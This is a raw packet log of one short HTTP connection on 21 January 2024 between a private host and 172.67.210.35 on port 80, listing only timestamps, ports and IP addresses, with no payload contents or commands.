Jan 21, 2024 17:27:12.306504011 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.306535006 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.306562901 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.306869030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.306883097 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.306895018 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.306909084 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.306920052 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.306921959 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.306963921 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.307602882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.307620049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.307634115 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.307693958 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.308012962 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.308057070 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.308090925 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.308105946 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.308118105 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.308130980 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.308151007 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.308182001 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.308864117 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.308906078 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.308924913 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.308938980 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.308943033 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.308954954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.308981895 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.309781075 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.309794903 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.309808016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.309817076 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.309820890 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.309834003 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.309856892 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.309905052 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.310518026 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.310585976 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.310600042 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.310611963 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.310626030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.310626984 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.310653925 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.311362982 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.311374903 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.311400890 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.318059921 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.319056034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.319071054 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.319082975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.319097042 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.319107056 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.319111109 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.319134951 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.319169998 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.319334030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.319405079 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.319417953 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.319430113 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.319443941 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.319447041 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.319472075 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.320240021 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.320254087 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.320266962 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.320280075 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.320290089 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.320295095 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.320323944 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.320394039 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.321065903 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.321079969 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.321091890 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.321105003 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.321121931 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.321156025 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.512464046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.512487888 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.512501955 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.512516022 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.512531042 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.512670040 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.512744904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.512759924 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.512772083 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.512784958 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.512797117 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.512799978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.512830973 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.512860060 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.513575077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.513593912 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.513606071 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.513619900 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.513641119 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.513669014 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.514125109 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.514147043 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.514161110 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.514175892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.514189005 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.514204979 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.514245033 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.514998913 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.515017033 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.515029907 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.515043974 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.515044928 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.515058041 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.515084028 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.515111923 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.515853882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.515867949 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.515886068 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.515902042 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.515907049 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.515916109 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.515944004 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.516639948 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.516681910 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.516695976 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.516710043 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.516724110 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.516736984 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.516752958 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.516779900 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.517488956 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.517503023 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.517513990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.517528057 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.517538071 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.517541885 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.517585993 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.518290043 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.518302917 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.518315077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.518326998 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.518341064 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.518342972 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.518361092 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.518388987 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.519134998 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.519195080 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.519212961 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.519224882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.519239902 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.519244909 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.519285917 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.519963026 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.519979000 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.519990921 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.520004034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.520008087 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.520016909 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.520045042 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.520075083 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.532315016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.532449961 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.532464027 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.532475948 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.532489061 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.532501936 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.532515049 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.532697916 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.532712936 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.532725096 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.532737970 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.532747030 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.532752991 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.532785892 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.532808065 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.533574104 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.533587933 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.533601046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.533613920 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.533618927 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.533627987 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.533651114 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.534317970 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.534332037 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.534364939 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.534374952 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.534389019 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.534400940 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.534415960 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.534440994 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.535168886 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.535182953 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.535204887 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.535214901 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.535219908 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.535238981 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.535264015 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.536006927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.536020994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.536034107 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.536048889 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.536052942 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.536062956 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.536075115 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.536111116 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.536940098 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.536952972 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.536966085 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.536979914 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.536993027 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.537009001 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.537045002 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.537640095 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.537692070 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.537713051 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.537727118 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.537739038 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.537753105 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.537763119 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.537798882 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.538559914 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.538623095 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.538636923 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.538649082 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.538662910 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.538671017 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.538711071 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.539381981 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.539397001 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.539408922 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.539422035 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.539433002 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.539437056 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.539467096 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.539486885 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.540224075 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.540236950 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.540250063 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.540261984 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.540277958 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.540280104 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.540302038 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.540966034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.541013956 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.541033030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.541045904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.541058064 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.541070938 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.541074038 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.541115046 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.541845083 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.541857958 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.541870117 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.541882038 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.541904926 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.541909933 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.541948080 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.542682886 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.542695999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.542707920 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.542721987 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.542731047 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.542735100 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.542752981 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.542779922 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.543457031 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.543471098 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.543489933 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.543502092 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.543538094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.543551922 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.543592930 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.544300079 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.544312954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.544323921 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.544346094 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.544349909 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.544364929 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.544365883 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.544403076 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.545130014 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.545154095 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.545167923 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.545181036 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.545191050 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.545209885 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.545214891 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.545974970 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.545989990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.546015978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.546022892 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.546030045 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.546044111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.546055079 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.546089888 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.546875000 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.546888113 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.546900988 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.546912909 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.546920061 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.546926022 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.546946049 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.547631979 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.547677040 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.547689915 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.547708988 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.547723055 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.547736883 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.547749996 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.547784090 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.548470974 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.548485994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.548515081 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.548525095 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.548528910 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.548542023 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.548564911 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.549316883 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.549329996 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.549343109 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.549356937 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.549365044 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.549371004 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.549398899 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.549423933 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.550183058 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.550195932 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.550208092 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.550220966 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.550230980 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.550235033 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.550266981 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.550967932 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.550981998 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.551017046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.551018000 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.551031113 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.551044941 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.551068068 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.551084042 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.551841974 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.551856041 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.551867962 CET	80	49713	172.67.210.35	192.168.2.6
